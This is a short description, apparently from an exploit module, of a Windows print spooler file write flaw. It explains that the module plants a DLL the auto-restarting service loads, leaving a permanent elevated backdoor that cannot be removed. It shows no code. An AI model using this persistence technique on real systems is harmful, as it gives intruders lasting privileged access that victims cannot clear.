          This exploit leverages a file write vulnerability in the print spooler service
          which will restart if stopped.  Because the service cannot be stopped long
          enough to remove the dll, there is no way to remove the dll once
          it is loaded by the service.  Essentially, on default settings, this module
          adds a permanent elevated backdoor.
